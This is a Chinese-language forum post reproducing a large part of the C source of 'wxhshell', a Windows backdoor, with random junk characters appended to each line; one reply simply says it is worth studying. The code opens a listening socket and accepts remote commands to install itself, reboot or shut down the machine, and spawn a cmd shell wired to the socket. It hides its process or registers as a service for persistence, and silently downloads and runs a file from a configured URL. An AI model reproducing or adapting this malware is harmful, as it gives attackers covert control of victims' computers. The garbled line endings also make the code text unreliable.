  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jb$sIZ%i  
  } t(VG#}  
  else { #dE#w#=r  
J\b,rOIf  
    switch(cmd[0]) { \/$T 3f`x  
  ptQr8[FA  
  // 帮助 =\e}fyuK  
  case '?': { 2w)0>Y(_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }P#%aE&-  
    break; X0^gj>GI|  
  } T9jp*  
  // 安装 {g@Wd2-J}  
  case 'i': { z[b,:G  
    if(Install()) %+|k>?&z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fu}NH \{  
    else @riCR<fF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D Km`  
    break; EShc1KPqc  
    } ?`_US7.@  
  // 卸载 @=h%;"  
  case 'r': { 5(q\x(N  
    if(Uninstall()) ePa:_?(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FVMR9~&+  
    else 8)ZWR3)+W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -20o%t  
    break; 6_=qpP-?  
    } JQYIvo1,Q  
  // 显示 wxhshell 所在路径 K~z*P 0g*  
  case 'p': { n9]^v-]K  
    char svExeFile[MAX_PATH]; .FK[Y?ci#  
    strcpy(svExeFile,"\n\r"); J?)vsnD.H  
      strcat(svExeFile,ExeFile); HAEgR  
        send(wsh,svExeFile,strlen(svExeFile),0); [@U8&W  
    break; F8Z<JcOI  
    } h#@l'Cye  
  // 重启 B~^MhX +j  
  case 'b': { *#;8mM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )|@b GEk  
    if(Boot(REBOOT)) A@bWlwfl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x9xb4ZW  
    else { 'C+z  
    closesocket(wsh); Qh%/{6(u  
    ExitThread(0); U8]L3&~  
    } n{d}]V@  
    break; QG?7L_I  
    } sqi~j(&\1  
  // 关机 vD D !.i  
  case 'd': { }X$vriW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *_`T*$  
    if(Boot(SHUTDOWN)) v:B_%-GfOA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $SSE\+|3  
    else { lyI rO"o  
    closesocket(wsh); @^a6^*X>  
    ExitThread(0); v]F q}I"  
    } N~{0QewMI'  
    break; ;@Ep?S @  
    } \=Af AO@  
  // 获取shell zT#36+_?  
  case 's': { V9-pY/v 9  
    CmdShell(wsh); T~cq=i|O  
    closesocket(wsh); $^ (q0zR~l  
    ExitThread(0); Iwi>yx8  
    break; X_C9Z  
  } 7Ro7/PT (  
  // 退出 2FD[D `n]f  
  case 'x': { ih.UzPg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 iS9f~  
    CloseIt(wsh); FH)bE#4  
    break; *h1Zqb  
    } $Rv}L'L  
  // 离开 kF3 EJ  
  case 'q': { 8R`@edj>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |2CW!is  
    closesocket(wsh); W=5+k0Q  
    WSACleanup(); JmrQDO_(  
    exit(1); &UP@Sr0D7  
    break; B7nMy oj  
        } %2^C  
  } 5IW^^<kiu  
  } -))>7skc  
[P OcO  
  // 提示信息 YP>VC(f   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &YO5N4X~o  
} v|VY5vN  
  } EhEn|%S  
ABNsi$]r0  
  return; -le:0NUwI  
} mz1Xk ]nE  
' :g8a=L  
// shell模块句柄 >ly= O  
int CmdShell(SOCKET sock) j:"+/5rV8  
{ }!0,(<EsV  
STARTUPINFO si; }zRYT_:  
ZeroMemory(&si,sizeof(si)); *0i   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4v3y3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Ew o   
PROCESS_INFORMATION ProcessInfo; {5.,gb@6  
char cmdline[]="cmd"; *`ehI_v :  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V J){@  
  return 0; n]ar\f  
} d`StBXG!  
R" 5/  
// 自身启动模式 ~Cks)mJs  
int StartFromService(void) Z@ h<xo*r  
{ qz E/n   
typedef struct QoDWR5*^D  
{ ^*A/92!yF  
  DWORD ExitStatus; 174H@   
  DWORD PebBaseAddress; fB1JU1  
  DWORD AffinityMask; gwThhwR  
  DWORD BasePriority; :KgLjhj|)  
  ULONG UniqueProcessId; AbZ:AJ(  
  ULONG InheritedFromUniqueProcessId; jt"p Js'  
}   PROCESS_BASIC_INFORMATION; eWqJ2Tt  
bsM`C]h&  
PROCNTQSIP NtQueryInformationProcess; Br]VCp   
X_ H R$il  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BRQ9kK20  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :eQ@I+  
3, ,Z  
  HANDLE             hProcess; $7TYix8=  
  PROCESS_BASIC_INFORMATION pbi; uP|AP  
GK95=?f~8;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &BG^:4b  
  if(NULL == hInst ) return 0; ~#I1!y~`  
~W5 fJd0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4 E 4o=Z|K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); > m}.}g8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7*'_&0   
:b=`sUn<X+  
  if (!NtQueryInformationProcess) return 0; s7FqE>#c0  
n+zXt?{u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /,Ln)?eD  
  if(!hProcess) return 0; ]_d(YHYf  
5tP0dQYd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `U2PlCf |  
/nb(F h|{T  
  CloseHandle(hProcess); 3(^9K2.s}  
lxbbyy25  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x18ei@c  
if(hProcess==NULL) return 0; b44H2A .  
>P\T nb"Q\  
HMODULE hMod; FX}<F0([?  
char procName[255]; %|SbZ)gcQ  
unsigned long cbNeeded; "^_p>C)T  
^%go\ C ;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xhUQ.(S`r6  
8Y5* 1E*  
  CloseHandle(hProcess); rRT9)wDa  
b\=0[kBQw  
if(strstr(procName,"services")) return 1; // 以服务启动 ,"h$!k"$g  
`*}#Bks!  
  return 0; // 注册表启动 )KXLL;]  
} htM5Nm[g  
bGK&W;Myk  
// 主模块 T%P 0M*  
int StartWxhshell(LPSTR lpCmdLine) OMKEn!Wq  
{ px4Z  
  SOCKET wsl; K/MIDH  
BOOL val=TRUE; nn#A-x}~;b  
  int port=0; jq.@<<j|$  
  struct sockaddr_in door; G9E?   
((.PPOdJV  
  if(wscfg.ws_autoins) Install(); 'QCvN b6  
gP/]05$e  
port=atoi(lpCmdLine); /^#} \<;  
sB7DF<91  
if(port<=0) port=wscfg.ws_port; D3XQ>T[*q  
-.^Mt.)  
  WSADATA data; f$2lq4P{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yv"uIj+']  
i.F[.-.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z W+wtYV4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }E?s*iP  
  door.sin_family = AF_INET; BAm{Gb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (B$2)yZY  
  door.sin_port = htons(port); e#_xDR:  
Bct>EWQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L x9`y t6  
closesocket(wsl);  .':SD{  
return 1; _9L2JN$R6  
} OmU.9PDg-  
Xj !0jF33  
  if(listen(wsl,2) == INVALID_SOCKET) { s?0r\cc|:  
closesocket(wsl); QQC0uta`  
return 1; .Z/"L@  
} Nkv2?o>l  
  Wxhshell(wsl); A\4 Gq  
  WSACleanup(); $#KSvo{otI  
y99G3t  
return 0; 7RdL/21K  
i&_sbQ^  
} q/4PX  
VJ;'$SYx  
// 以NT服务方式启动 u=ENf1{ $>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o &Nr5S  
{ ty-4yK#  
DWORD   status = 0; 4{fi=BA   
  DWORD   specificError = 0xfffffff;  #lJF$  
P_b00",S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g1&GX(4[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oxGOn('  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T \0e8"iZ  
  serviceStatus.dwWin32ExitCode     = 0; N4HnW0  
  serviceStatus.dwServiceSpecificExitCode = 0; ss,6;wfX  
  serviceStatus.dwCheckPoint       = 0; .bpxSU%X  
  serviceStatus.dwWaitHint       = 0; eQ C`e#%  
DbOWnXV"o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Z8zD[l  
  if (hServiceStatusHandle==0) return; N|7._AR2  
;Vp&f%u+v  
status = GetLastError(); m4 4aK qw)  
  if (status!=NO_ERROR) /]+t$K\cBq  
{ .5ingB3%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zH|!O!3"4  
    serviceStatus.dwCheckPoint       = 0; JY>]u*=  
    serviceStatus.dwWaitHint       = 0; CrqWlO  
    serviceStatus.dwWin32ExitCode     = status; u_:" u  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0Q>Yoa 11  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hV=)T^Q  
    return; :k(aH Ua  
  } ["@K~my~D*  
lHP[WO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8.9S91]=  
  serviceStatus.dwCheckPoint       = 0; "J[Crm  
  serviceStatus.dwWaitHint       = 0; Gia_B6*Y[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rJ<v1Yb  
} ,&l>^w/  
1lMU('r%  
// 处理NT服务事件,比如:启动、停止 '9^x"U9c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x>Q#Bvy  
{ r--"JO%2  
switch(fdwControl) \&W~nYXq"  
{ RJd55+h  
case SERVICE_CONTROL_STOP: [kC-g @  
  serviceStatus.dwWin32ExitCode = 0; y;Dw%m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tSQ>P -O  
  serviceStatus.dwCheckPoint   = 0; ?rr%uXQjH  
  serviceStatus.dwWaitHint     = 0; N$_Rzh"9rr  
  { @-u/('vpB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3\U'bRO  
  } L*L3;y|  
  return; uFECfh  
case SERVICE_CONTROL_PAUSE: wcV~z:&^5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Soop)e  
  break; 501|Y6ptl  
case SERVICE_CONTROL_CONTINUE: AZtZa'hbkQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &|gn%<^  
  break; $Cf_RFH0  
case SERVICE_CONTROL_INTERROGATE: uWMAXGL  
  break; 4'_uN$${$  
}; ot,<iE#za  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nP_s+k  
} JO1c9NyKr  
.\1XR  
// 标准应用程序主函数 NFc< %#H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) neOR/]  
{ 9Y-s],2V  
Ym!Ia&n  
// 获取操作系统版本 <K 4zH<y  
OsIsNt=GetOsVer(); o1kLT@VCl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )7J@A%u  
zXMIDrq  
  // 从命令行安装 3:);vh!  
  if(strpbrk(lpCmdLine,"iI")) Install(); \_BaV0<  
h4.ZR={E  
  // 下载执行文件 )!M:=}."  
if(wscfg.ws_downexe) { }{ 9E~"_[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LI(Wu6*Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yo:>m*31  
} uZW1 :cx  
59ro-nA9v  
if(!OsIsNt) { 7?cZ9^z`w  
// 如果时win9x,隐藏进程并且设置为注册表启动 (MbI8B>  
HideProc(); {)jQbAr(G  
StartWxhshell(lpCmdLine); tQUp1i{j\  
} G~YV6??  
else Y_f6y 9?ZE  
  if(StartFromService()) yjN|PqtSV  
  // 以服务方式启动 >mh:OJH45  
  StartServiceCtrlDispatcher(DispatchTable); T`f9 jD  
else 7eh}Je8  
  // 普通方式启动 QbS w<V  
  StartWxhshell(lpCmdLine); S{J$[!F  
%.<w8ag  
return 0; Az" 3f  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八